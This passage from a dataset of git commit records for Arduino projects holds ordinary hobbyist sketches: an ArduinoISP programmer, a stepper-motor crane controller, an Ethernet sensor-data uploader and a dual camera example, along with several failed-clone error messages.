Serial.print((char)b);\n Serial.print((char)STK_OK);\n } \n else {\n error++;\n Serial.print((char)STK_NOSYNC);\n }\n}\n\nvoid get_version(uint8_t c) {\n switch(c) {\n case 0x80:\n breply(HWVER);\n break;\n case 0x81:\n breply(SWMAJ);\n break;\n case 0x82:\n breply(SWMIN);\n break;\n case 0x93:\n breply('S'); \/\/ serial programmer\n break;\n default:\n breply(0);\n }\n}\n\nvoid set_parameters() {\n \/\/ call this after reading paramter packet into buff[]\n param.devicecode = buff[0];\n param.revision = buff[1];\n param.progtype = buff[2];\n param.parmode = buff[3];\n param.polling = buff[4];\n param.selftimed = buff[5];\n param.lockbytes = buff[6];\n param.fusebytes = buff[7];\n param.flashpoll = buff[8]; \n \/\/ ignore buff[9] (= buff[8])\n \/\/ following are 16 bits (big endian)\n param.eeprompoll = beget16(&buff[10]);\n param.pagesize = beget16(&buff[12]);\n param.eepromsize = beget16(&buff[14]);\n\n \/\/ 32 bits flashsize (big endian)\n param.flashsize = buff[16] * 0x01000000\n + buff[17] * 0x00010000\n + buff[18] * 0x00000100\n + buff[19];\n\n}\n\nvoid start_pmode() {\n spi_init();\n \/\/ following delays may not work on all targets...\n pinMode(RESET, OUTPUT);\n digitalWrite(RESET, HIGH);\n pinMode(SCK, OUTPUT);\n digitalWrite(SCK, LOW);\n delay(50);\n digitalWrite(RESET, LOW);\n delay(50);\n pinMode(MISO, INPUT);\n pinMode(MOSI, OUTPUT);\n spi_transaction(0xAC, 0x53, 0x00, 0x00);\n pmode = 1;\n}\n\nvoid end_pmode() {\n pinMode(MISO, INPUT);\n pinMode(MOSI, INPUT);\n pinMode(SCK, INPUT);\n pinMode(RESET, INPUT);\n pmode = 0;\n}\n\nvoid universal() {\n int w;\n uint8_t ch;\n\n fill(4);\n ch = spi_transaction(buff[0], buff[1], buff[2], buff[3]);\n breply(ch);\n}\n\nvoid flash(uint8_t hilo, int addr, uint8_t data) {\n spi_transaction(0x40+8*hilo, \n addr>>8 & 0xFF, \n addr & 0xFF,\n data);\n}\nvoid commit(int addr) {\n if (PROG_FLICKER) prog_lamp(LOW);\n spi_transaction(0x4C, (addr >> 8) & 0xFF, addr & 0xFF, 0);\n if (PROG_FLICKER) {\n delay(PTIME);\n prog_lamp(HIGH);\n }\n}\n\n\/\/#define _current_page(x) (here & 0xFFFFE0)\nint current_page(int addr) {\n if (param.pagesize == 32) return here & 0xFFFFFFF0;\n if (param.pagesize == 64) return here & 0xFFFFFFE0;\n if (param.pagesize == 128) return here & 0xFFFFFFC0;\n if (param.pagesize == 256) return here & 0xFFFFFF80;\n return here;\n}\n\n\nvoid write_flash(int length) {\n fill(length);\n if (CRC_EOP == getch()) {\n Serial.print((char) STK_INSYNC);\n Serial.print((char) write_flash_pages(length));\n } \n else {\n error++;\n Serial.print((char) STK_NOSYNC);\n }\n}\n\nuint8_t write_flash_pages(int length) {\n int x = 0;\n int page = current_page(here);\n while (x < length) {\n if (page != current_page(here)) {\n commit(page);\n page = current_page(here);\n }\n flash(LOW, here, buff[x++]);\n flash(HIGH, here, buff[x++]);\n here++;\n }\n\n commit(page);\n\n return STK_OK;\n}\n\n#define EECHUNK (32)\nuint8_t write_eeprom(int length) {\n \/\/ here is a word address, get the byte address\n int start = here * 2;\n int remaining = length;\n if (length > param.eepromsize) {\n error++;\n return STK_FAILED;\n }\n while (remaining > EECHUNK) {\n write_eeprom_chunk(start, EECHUNK);\n start += EECHUNK;\n remaining -= EECHUNK;\n }\n write_eeprom_chunk(start, remaining);\n return STK_OK;\n}\n\/\/ write (length) bytes, (start) is a byte address\nuint8_t write_eeprom_chunk(int start, int length) {\n \/\/ this writes byte-by-byte,\n \/\/ page writing may be faster (4 bytes at a time)\n fill(length);\n prog_lamp(LOW);\n for (int x = 0; x < length; x++) {\n int addr = start+x;\n spi_transaction(0xC0, (addr>>8) & 0xFF, addr & 0xFF, buff[x]);\n delay(45);\n }\n prog_lamp(HIGH); \n return STK_OK;\n}\n\nvoid program_page() {\n char result = (char) STK_FAILED;\n int length = 256 * getch();\n length += getch();\n char memtype = getch();\n \/\/ flash memory @here, (length) bytes\n if (memtype == 'F') {\n write_flash(length);\n return;\n }\n if (memtype == 'E') {\n result = (char)write_eeprom(length);\n if (CRC_EOP == getch()) {\n Serial.print((char) STK_INSYNC);\n Serial.print(result);\n } \n else {\n error++;\n Serial.print((char) STK_NOSYNC);\n }\n return;\n }\n Serial.print((char)STK_FAILED);\n return;\n}\n\nuint8_t flash_read(uint8_t hilo, int addr) {\n return spi_transaction(0x20 + hilo * 8,\n (addr >> 8) & 0xFF,\n addr & 0xFF,\n 0);\n}\n\nchar flash_read_page(int length) {\n for (int x = 0; x < length; x+=2) {\n uint8_t low = flash_read(LOW, here);\n Serial.print((char) low);\n uint8_t high = flash_read(HIGH, here);\n Serial.print((char) high);\n here++;\n }\n return STK_OK;\n}\n\nchar eeprom_read_page(int length) {\n \/\/ here again we have a word address\n int start = here * 2;\n for (int x = 0; x < length; x++) {\n int addr = start + x;\n uint8_t ee = spi_transaction(0xA0, (addr >> 8) & 0xFF, addr & 0xFF, 0xFF);\n Serial.print((char) ee);\n }\n return STK_OK;\n}\n\nvoid read_page() {\n char result = (char)STK_FAILED;\n int length = 256 * getch();\n length += getch();\n char memtype = getch();\n if (CRC_EOP != getch()) {\n error++;\n Serial.print((char) STK_NOSYNC);\n return;\n }\n Serial.print((char) STK_INSYNC);\n if (memtype == 'F') result = flash_read_page(length);\n if (memtype == 'E') result = eeprom_read_page(length);\n Serial.print(result);\n return;\n}\n\nvoid read_signature() {\n if (CRC_EOP != getch()) {\n error++;\n Serial.print((char) STK_NOSYNC);\n return;\n }\n Serial.print((char) STK_INSYNC);\n uint8_t high = spi_transaction(0x30, 0x00, 0x00, 0x00);\n Serial.print((char) high);\n uint8_t middle = spi_transaction(0x30, 0x00, 0x01, 0x00);\n Serial.print((char) middle);\n uint8_t low = spi_transaction(0x30, 0x00, 0x02, 0x00);\n Serial.print((char) low);\n Serial.print((char) STK_OK);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint avrisp() { \n uint8_t data, low, high;\n uint8_t ch = getch();\n switch (ch) {\n case '0': \/\/ signon\n error = 0;\n empty_reply();\n break;\n case '1':\n if (getch() == CRC_EOP) {\n Serial.print((char) STK_INSYNC);\n Serial.print(\"AVR ISP\");\n Serial.print((char) STK_OK);\n }\n break;\n case 'A':\n get_version(getch());\n break;\n case 'B':\n fill(20);\n set_parameters();\n empty_reply();\n break;\n case 'E': \/\/ extended parameters - ignore for now\n fill(5);\n empty_reply();\n break;\n\n case 'P':\n start_pmode();\n empty_reply();\n break;\n case 'U': \/\/ set address (word)\n here = getch();\n here += 256 * getch();\n empty_reply();\n break;\n\n case 0x60: \/\/STK_PROG_FLASH\n low = getch();\n high = getch();\n empty_reply();\n break;\n case 0x61: \/\/STK_PROG_DATA\n data = getch();\n empty_reply();\n break;\n\n case 0x64: \/\/STK_PROG_PAGE\n program_page();\n break;\n\n case 0x74: \/\/STK_READ_PAGE 't'\n read_page(); \n break;\n\n case 'V': \/\/0x56\n universal();\n break;\n case 'Q': \/\/0x51\n error=0;\n end_pmode();\n empty_reply();\n break;\n\n case 0x75: \/\/STK_READ_SIGN 'u'\n read_signature();\n break;\n\n \/\/ expecting a command, not CRC_EOP\n \/\/ this is how we can get back in sync\n case CRC_EOP:\n error++;\n Serial.print((char) STK_NOSYNC);\n break;\n\n \/\/ anything else we will return STK_UNKNOWN\n default:\n error++;\n if (CRC_EOP == getch()) \n Serial.print((char)STK_UNKNOWN);\n else\n Serial.print((char)STK_NOSYNC);\n }\n}\n\n\n\n","old_contents":"\/\/ this sketch turns the Arduino into a AVRISP\n\/\/ using the following pins:\n\/\/ 10: slave reset\n\/\/ 11: MOSI\n\/\/ 12: MISO\n\/\/ 13: SCK\n\n\/\/ Put an LED (with resistor) on the following pins:\n\/\/ 9: Heartbeat - shows the programmer is running\n\/\/ 8: Error - Lights up if something goes wrong (use red if that makes sense)\n\/\/ 7: Programming - In communication with the slave\n\/\/\n\/\/ October 2009 by David A. Mellis\n\/\/ - Added support for the read signature command\n\/\/ \n\/\/ February 2009 by Randall Bohn\n\/\/ - Added support for writing to EEPROM (what took so long?)\n\/\/ Windows users should consider WinAVR's avrdude instead of the\n\/\/ avrdude included with Arduino software.\n\/\/\n\/\/ January 2008 by Randall Bohn\n\/\/ - Thanks to Amplificar for helping me with the STK500 protocol\n\/\/ - The AVRISP\/STK500 (mk I) protocol is used in the arduino bootloader\n\/\/ - The SPI functions herein were developed for the AVR910_ARD programmer \n\/\/ - More information at http:\/\/code.google.com\/p\/mega-isp\n\n#include \"pins_arduino.h\" \/\/ defines SS,MOSI,MISO,SCK\n#define RESET SS\n\n#define LED_HB 9\n#define LED_ERR 8\n#define LED_PMODE 7\n\n#define HWVER 2\n#define SWMAJ 1\n#define SWMIN 18\n\n\/\/ STK Definitions\n#define STK_OK 0x10\n#define STK_FAILED 0x11\n#define STK_UNKNOWN 0x12\n#define STK_INSYNC 0x14\n#define STK_NOSYNC 0x15\n#define CRC_EOP 0x20 \/\/ok it is a space...\n\nvoid pulse(int pin, int times);\n\nvoid setup() {\n Serial.begin(19200);\n pinMode(7, OUTPUT);\n pulse(7, 2);\n pinMode(8, OUTPUT);\n pulse(8, 2);\n pinMode(9, OUTPUT);\n pulse(9, 2);\n}\n\nint error=0;\nint pmode=0;\n\/\/ address for reading and writing, set by 'U' command\nint here;\nuint8_t buff[256]; \/\/ global block storage\n\n#define beget16(addr) (*addr * 256 + *(addr+1) )\ntypedef struct param {\n uint8_t devicecode;\n uint8_t revision;\n uint8_t progtype;\n uint8_t parmode;\n uint8_t polling;\n uint8_t selftimed;\n uint8_t lockbytes;\n uint8_t fusebytes;\n int flashpoll;\n int eeprompoll;\n int pagesize;\n int eepromsize;\n int flashsize;\n} \nparameter;\n\nparameter param;\n\n\/\/ this provides a heartbeat on pin 9, so you can tell the software is running.\nuint8_t hbval=128;\nint8_t hbdelta=8;\nvoid heartbeat() {\n if (hbval > 192) hbdelta = -hbdelta;\n if (hbval < 32) hbdelta = -hbdelta;\n hbval += hbdelta;\n analogWrite(LED_HB, hbval);\n delay(40);\n}\n \n\nvoid loop(void) {\n \/\/ is pmode active?\n if (pmode) digitalWrite(LED_PMODE, HIGH); \n else digitalWrite(LED_PMODE, LOW);\n \/\/ is there an error?\n if (error) digitalWrite(LED_ERR, HIGH); \n else digitalWrite(LED_ERR, LOW);\n \n \/\/ light the heartbeat LED\n heartbeat();\n if (Serial.available()) {\n avrisp();\n }\n}\n\nuint8_t getch() {\n while(!Serial.available());\n return Serial.read();\n}\nvoid readbytes(int n) {\n for (int x = 0; x < n; x++) {\n buff[x] = Serial.read();\n }\n}\n\n#define PTIME 30\nvoid pulse(int pin, int times) {\n do {\n digitalWrite(pin, HIGH);\n delay(PTIME);\n digitalWrite(pin, LOW);\n delay(PTIME);\n } \n while (times--);\n}\n\nvoid spi_init() {\n uint8_t x;\n SPCR = 0x53;\n x=SPSR;\n x=SPDR;\n}\n\nvoid spi_wait() {\n do {\n } \n while (!(SPSR & (1 << SPIF)));\n}\n\nuint8_t spi_send(uint8_t b) {\n uint8_t reply;\n SPDR=b;\n spi_wait();\n reply = SPDR;\n return reply;\n}\n\nuint8_t spi_transaction(uint8_t a, uint8_t b, uint8_t c, uint8_t d) {\n uint8_t n;\n spi_send(a); \n n=spi_send(b);\n \/\/if (n != a) error = -1;\n n=spi_send(c);\n return spi_send(d);\n}\n\nvoid empty_reply() {\n if (CRC_EOP == getch()) {\n Serial.print((char)STK_INSYNC);\n Serial.print((char)STK_OK);\n } \n else {\n Serial.print((char)STK_NOSYNC);\n }\n}\n\nvoid breply(uint8_t b) {\n if (CRC_EOP == getch()) {\n Serial.print((char)STK_INSYNC);\n Serial.print((char)b);\n Serial.print((char)STK_OK);\n } \n else {\n Serial.print((char)STK_NOSYNC);\n }\n}\n\nvoid get_version(uint8_t c) {\n switch(c) {\n case 0x80:\n breply(HWVER);\n break;\n case 0x81:\n breply(SWMAJ);\n break;\n case 0x82:\n breply(SWMIN);\n break;\n case 0x93:\n breply('S'); \/\/ serial programmer\n break;\n default:\n breply(0);\n }\n}\n\nvoid set_parameters() {\n \/\/ call this after reading paramter packet into buff[]\n param.devicecode = buff[0];\n param.revision = buff[1];\n param.progtype = buff[2];\n param.parmode = buff[3];\n param.polling = buff[4];\n param.selftimed = buff[5];\n param.lockbytes = buff[6];\n param.fusebytes = buff[7];\n param.flashpoll = buff[8]; \n \/\/ ignore buff[9] (= buff[8])\n \/\/getch(); \/\/ discard second value\n \n \/\/ WARNING: not sure about the byte order of the following\n \/\/ following are 16 bits (big endian)\n param.eeprompoll = beget16(&buff[10]);\n param.pagesize = beget16(&buff[12]);\n param.eepromsize = beget16(&buff[14]);\n\n \/\/ 32 bits flashsize (big endian)\n param.flashsize = buff[16] * 0x01000000\n + buff[17] * 0x00010000\n + buff[18] * 0x00000100\n + buff[19];\n\n}\n\nvoid start_pmode() {\n spi_init();\n \/\/ following delays may not work on all targets...\n pinMode(RESET, OUTPUT);\n digitalWrite(RESET, HIGH);\n pinMode(SCK, OUTPUT);\n digitalWrite(SCK, LOW);\n delay(50);\n digitalWrite(RESET, LOW);\n delay(50);\n pinMode(MISO, INPUT);\n pinMode(MOSI, OUTPUT);\n spi_transaction(0xAC, 0x53, 0x00, 0x00);\n pmode = 1;\n}\n\nvoid end_pmode() {\n pinMode(MISO, INPUT);\n pinMode(MOSI, INPUT);\n pinMode(SCK, INPUT);\n pinMode(RESET, INPUT);\n pmode = 0;\n}\n\nvoid universal() {\n int w;\n uint8_t ch;\n\n for (w = 0; w < 4; w++) {\n buff[w] = getch();\n }\n ch = spi_transaction(buff[0], buff[1], buff[2], buff[3]);\n breply(ch);\n}\n\nvoid flash(uint8_t hilo, int addr, uint8_t data) {\n spi_transaction(0x40+8*hilo, \n addr>>8 & 0xFF, \n addr & 0xFF,\n data);\n}\nvoid commit(int addr) {\n spi_transaction(0x4C, (addr >> 8) & 0xFF, addr & 0xFF, 0);\n}\n\n\/\/#define _current_page(x) (here & 0xFFFFE0)\nint current_page(int addr) {\n if (param.pagesize == 32) return here & 0xFFFFFFF0;\n if (param.pagesize == 64) return here & 0xFFFFFFE0;\n if (param.pagesize == 128) return here & 0xFFFFFFC0;\n if (param.pagesize == 256) return here & 0xFFFFFF80;\n return here;\n}\nuint8_t write_flash(int length) {\n if (param.pagesize < 1) return STK_FAILED;\n \/\/if (param.pagesize != 64) return STK_FAILED;\n int page = current_page(here);\n int x = 0;\n while (x < length) {\n if (page != current_page(here)) {\n commit(page);\n page = current_page(here);\n }\n flash(LOW, here, buff[x++]);\n flash(HIGH, here, buff[x++]);\n here++;\n }\n\n commit(page);\n\n return STK_OK;\n}\n\nuint8_t write_eeprom(int length) {\n \/\/ here is a word address, so we use here*2\n \/\/ this writes byte-by-byte,\n \/\/ page writing may be faster (4 bytes at a time)\n for (int x = 0; x < length; x++) {\n spi_transaction(0xC0, 0x00, here*2+x, buff[x]);\n delay(45);\n } \n return STK_OK;\n}\n\nvoid program_page() {\n char result = (char) STK_FAILED;\n int length = 256 * getch() + getch();\n if (length > 256) {\n Serial.print((char) STK_FAILED);\n return;\n }\n char memtype = getch();\n for (int x = 0; x < length; x++) {\n buff[x] = getch();\n }\n if (CRC_EOP == getch()) {\n Serial.print((char) STK_INSYNC);\n if (memtype == 'F') result = (char)write_flash(length);\n if (memtype == 'E') result = (char)write_eeprom(length);\n Serial.print(result);\n } \n else {\n Serial.print((char) STK_NOSYNC);\n }\n}\nuint8_t flash_read(uint8_t hilo, int addr) {\n return spi_transaction(0x20 + hilo * 8,\n (addr >> 8) & 0xFF,\n addr & 0xFF,\n 0);\n}\n\nchar flash_read_page(int length) {\n for (int x = 0; x < length; x+=2) {\n uint8_t low = flash_read(LOW, here);\n Serial.print((char) low);\n uint8_t high = flash_read(HIGH, here);\n Serial.print((char) high);\n here++;\n }\n return STK_OK;\n}\n\nchar eeprom_read_page(int length) {\n \/\/ here again we have a word address\n for (int x = 0; x < length; x++) {\n uint8_t ee = spi_transaction(0xA0, 0x00, here*2+x, 0xFF);\n Serial.print((char) ee);\n }\n return STK_OK;\n}\n\nvoid read_page() {\n char result = (char)STK_FAILED;\n int length = 256 * getch() + getch();\n char memtype = getch();\n if (CRC_EOP != getch()) {\n Serial.print((char) STK_NOSYNC);\n return;\n }\n Serial.print((char) STK_INSYNC);\n if (memtype == 'F') result = flash_read_page(length);\n if (memtype == 'E') result = eeprom_read_page(length);\n Serial.print(result);\n return;\n}\n\nvoid read_signature() {\n if (CRC_EOP != getch()) {\n Serial.print((char) STK_NOSYNC);\n return;\n }\n Serial.print((char) STK_INSYNC);\n uint8_t high = spi_transaction(0x30, 0x00, 0x00, 0x00);\n Serial.print((char) high);\n uint8_t middle = spi_transaction(0x30, 0x00, 0x01, 0x00);\n Serial.print((char) middle);\n uint8_t low = spi_transaction(0x30, 0x00, 0x02, 0x00);\n Serial.print((char) low);\n Serial.print((char) STK_OK);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint avrisp() { \n uint8_t data, low, high;\n uint8_t ch = getch();\n switch (ch) {\n case '0': \/\/ signon\n empty_reply();\n break;\n case '1':\n if (getch() == CRC_EOP) {\n Serial.print((char) STK_INSYNC);\n Serial.print(\"AVR ISP\");\n Serial.print((char) STK_OK);\n }\n break;\n case 'A':\n get_version(getch());\n break;\n case 'B':\n readbytes(20);\n set_parameters();\n empty_reply();\n break;\n case 'E': \/\/ extended parameters - ignore for now\n readbytes(5);\n empty_reply();\n break;\n\n case 'P':\n start_pmode();\n empty_reply();\n break;\n case 'U':\n here = getch() + 256 * getch();\n empty_reply();\n break;\n\n case 0x60: \/\/STK_PROG_FLASH\n low = getch();\n high = getch();\n empty_reply();\n break;\n case 0x61: \/\/STK_PROG_DATA\n data = getch();\n empty_reply();\n break;\n\n case 0x64: \/\/STK_PROG_PAGE\n program_page();\n break;\n \n case 0x74: \/\/STK_READ_PAGE\n read_page(); \n break;\n\n case 'V':\n universal();\n break;\n case 'Q':\n error=0;\n end_pmode();\n empty_reply();\n break;\n \n case 0x75: \/\/STK_READ_SIGN\n read_signature();\n break;\n\n \/\/ expecting a command, not CRC_EOP\n \/\/ this is how we can get back in sync\n case CRC_EOP:\n Serial.print((char) STK_NOSYNC);\n break;\n \n \/\/ anything else we will return STK_UNKNOWN\n default:\n if (CRC_EOP == getch()) \n Serial.print((char)STK_UNKNOWN);\n else\n Serial.print((char)STK_NOSYNC);\n }\n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e58fc80d287ad6a7dc81e9e805a9550f49854584","subject":"Create driveMotors.ino","message":"Create driveMotors.ino","repos":"lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15","old_file":"Arduino Code\/masterCode\/driveMotors.ino","new_file":"Arduino Code\/masterCode\/driveMotors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"aecb8000309bbbb5df94a98491e0d3690aaeec56","subject":"Initial install.","message":"Initial install.\n","repos":"roryzweistra\/RyCrane,roryzweistra\/RyCrane","old_file":"Arduino\/crane_control\/crane_control.ino","new_file":"Arduino\/crane_control\/crane_control.ino","new_contents":"#include <CustomStepper.h>\n\n\/\/Full constructor, just the first 4 parameters are necessary, they are the pins connected to the motor,\n\/\/the others are optional, and default to the following below\n\/\/the 5th paramater is the steps sequence, where the 1st element of the array is the number of steps\n\/\/it can have a maximum of 8 steps\n\/\/the 6th parameter is the SPR (Steps Per Rotation)\n\/\/the 7th parameter is the RPM\n\/\/the 8th parameter is the rotation orientation\nCustomStepper stepper(8, 9, 10, 11, (byte[]){8, B1000, B1100, B0100, B0110, B0010, B0011, B0001, B1001}, 4075.7728395, 12, CW);\nboolean rotate1 = false;\nboolean rotatedeg = false;\nboolean crotate = false;\n\nboolean phase1 = true;\nboolean phase2 = false;\nboolean phase3 = false;\nboolean phase4 = false;\n\nint waitTime = 0;\n\nvoid setup()\n{\n \/\/sets the RPM\n stepper.setRPM(6);\n \/\/sets the Steps Per Rotation, in this case it is 64 * the 283712\/4455 annoying ger ratio\n \/\/for my motor (it works with float to be able to deal with these non-integer gear ratios)\n stepper.setSPR(4075.7728395);\n}\n\nvoid loop()\n{\n \n if ( stepper.isDone() && waitTime > 0 ) {\n delay( waitTime);\n waitTime = 0;\n }\n \n \/\/ Rotate 180 degress\n if ( stepper.isDone() && phase1 == true ) {\n stepper.setDirection(CW);\n stepper.rotateDegrees(180);\n phase1 = false;\n phase2 = true;\n waitTime = 2000;\n }\n \n if ( stepper.isDone() && phase2 == true ) {\n stepper.setDirection(CCW);\n stepper.rotateDegrees(90);\n phase2 = false;\n phase3 = true;\n waitTime = 3000;\n }\n \n if ( stepper.isDone() && phase3 == true ) {\n stepper.setDirection(CW);\n stepper.rotateDegrees(90);\n phase3 = false;\n phase4 = true;\n waitTime = 5000;\n }\n \n if ( stepper.isDone() && phase4 == true ) {\n stepper.setDirection(CCW);\n stepper.rotateDegrees(180);\n \/\/stepper.setDirection(STOP);\n phase4 = false;\n phase1 = true;\n waitTime = 10000;\n }\n \n stepper.run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/crane_control\/crane_control.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a0243a1f7e97efa8018c631dd825691dc99069db","subject":"fixed temperature function","message":"fixed temperature function\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2a5e3ede375d013babcf5d47a1715dfc1b2eadf7","subject":"Added one of the week 3 codefiles","message":"Added one of the week 3 codefiles\n","repos":"man1utdfan\/Intelligente-wireless-sensornetwerken,man1utdfan\/Intelligente-wireless-sensornetwerken","old_file":"CodeWeek3\/parseReceivedDataToJsonAndUploadToRestServer.ino","new_file":"CodeWeek3\/parseReceivedDataToJsonAndUploadToRestServer.ino","new_contents":"#include <Ethernet.h>\n#include <EthernetUdp.h>\n#include <Dns.h>\n#include <time.h>\n#include <SPI.h>\n\nint incomingByte = 0;\n\/\/ char buffer[20]; deprecated\nString buffer = \"\";\nconst int dezeMeetopstelling = 1;\n\/\/178.62.191.231\nIPAddress restServer(178, 62, 191, 231); \/\/Backup\nString restServerString = \"178.62.191.231\";\nString restServerPort = \"8080\";\nbyte mac[] =\n{\n\t0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n};\n\n\nvoid setup() {\n\tSerial.begin(9600);\n\tSerial.println(\"Programme started\");\n\tif (Ethernet.begin(mac) == 0)\n\t{\n\t\tSerial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ no point in carrying on, so do nothing forevermore:\n for (;;);\n }\n else\n {\n \tSerial.print(\"Eth info \\n Local IP: \");\n \tSerial.println(Ethernet.localIP());\n \tSerial.print(\"Subnet Mask: \");\n \tSerial.println(Ethernet.subnetMask());\n \tSerial.print(\"Gateway: \");\n \tSerial.println(Ethernet.gatewayIP());\n \tSerial.print(\"Primary DNS: \");\n \tSerial.println(Ethernet.dnsServerIP());\n }\n DNSClient client;\n client.begin(Ethernet.dnsServerIP());\n if (client.getHostByName(\"zaku2.com\", restServer) == 1)\n {\n \tSerial.print(\"resolved server to \");\n \tSerial.print(restServer);\n }\n else\n {\n \tSerial.print(\"Unable to resolve IP, using default: \");\n \tSerial.println(restServer);\n }\n}\n\nvoid send_pack(int number)\n{\n\tSerial.println(\"send_pack\");\n\tint contentLength;\n\n\tEthernetClient client;\n\n\tString jsonBody = String(\"{ \\\"meetopstellingen\\\": \\\"\"+String(dezeMeetopstelling)+\"\\\",\"\n\t\/\/+\"\\\"timestamp\\\": \"+time.year()+\"-\"+time.month()+\"-\"+time.day()+\" \"+time.hour()+\":\"+time.minute()+\":\"+time.second() +\"\\\",\"\n\t+\"\\\"waarde\\\": \\\"\" + String(number)+\"\\\"}\");\n\n\tif(client.connect(restServer,8080))\n\t{\n\t\tclient.print(\"POST \/iws\/data HTTP\/1.1\");\n \/\/ client.println(\"GET \/api\/newdeveloper\/lights\/4 HTTP\/1.1\");\n client.print(\"Host: \");\n client.print(String(restServerString+\":\"+restServerPort));\n client.print(\"Connection: keep-alive\"); \n client.print(\"Content-Type: application\/json; charset=UTF-8\"); \n client.print(\"Content-Length: \"); \n client.print(jsonBody.length());\n client.print(\"\"); \n client.print(jsonBody);\n client.print(\"\"); \n\n Serial.print(\"Sent package with body\");\n Serial.print(jsonBody); \n Serial.print(\" and length \");\n Serial.println(jsonBody.length());\n\n while (!client.available())\n {\n \tdelay(1);\n }\n while (client.available()) {\n \tchar c = client.read();\n \tSerial.print(c);\n }\n }\n else\n {\n \tSerial.println(\"Can\\'t connect\");\n }\n}\n\nvoid loop() {\n\t\/\/ char index = 0; deprecated\n\n\twhile (Serial.available() > 0) \n\t{\n \/\/ read the incoming byte:\n if(Serial.available() > 0)\n buffer.concat(Serial.read());\n }\n if(buffer.length()!=0)\n {\n \tSerial.println(\"Ontvangen:\");\n \tSerial.println(buffer);\n \tsend_pack(buffer.toInt()); \/\/Does this work? It should!\n\t\t\/\/ int i = 0; while (i<21){buffer[i++]=0;} \/\/clearing the bufffer\n\t\tbuffer = \"\"; \/\/clearing the buffer\n\t\t\/\/ index = 0; deprecated \n\t}\n\n\tdelay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CodeWeek3\/parseReceivedDataToJsonAndUploadToRestServer.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a84f0e5e5d372b65602352ca01e2b6034dd67a46","subject":"added DualCamera Example","message":"added DualCamera Example\n","repos":"jodosh\/uCamArduinoLibrary","old_file":"UCAM\/examples\/DualCamera\/DualCamera.ino","new_file":"UCAM\/examples\/DualCamera\/DualCamera.ino","new_contents":"\/*\n uCam - Library for flashing controlling 4D uCam module.\n Created by Johnny Haddock, 03 June 2014.\n \n This example has a uCam plugged into Serial1 and Serial2.\n It will do all the camera setup and get a single snapshot.\n*\/\n#include <uCam.h>\n\nuCam cam0;\nuCam cam1;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial1.begin(115200);\n Serial2.begin(115200);\n pinMode(12, OUTPUT);\n pinMode(13, OUTPUT);\n cam0.begin(&Serial1, &Serial);\n cam1.begin(&Serial2, &Serial);\n}\n\nvoid loop()\n{\n delay(5000);\n cam0.SYNC();\n cam1.SYNC();\n cam0.INIT();\n cam1.INIT();\n cam0.SNAPSHOT();\n cam1.SNAPSHOT();\n cam0.GET();\n cam1.GET();\n delay (100000);\n return;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'UCAM\/examples\/DualCamera\/DualCamera.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"b44cc10013b1826a9dedde87f04c379330233ed1","subject":"Adding NeoPixel-y stuffs :metal:","message":"Adding NeoPixel-y stuffs :metal:\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f15d64d83120e3b01fd635fcc9426d358ee59c2a","subject":"Code for Temp+Humidty Node","message":"Code for Temp+Humidty 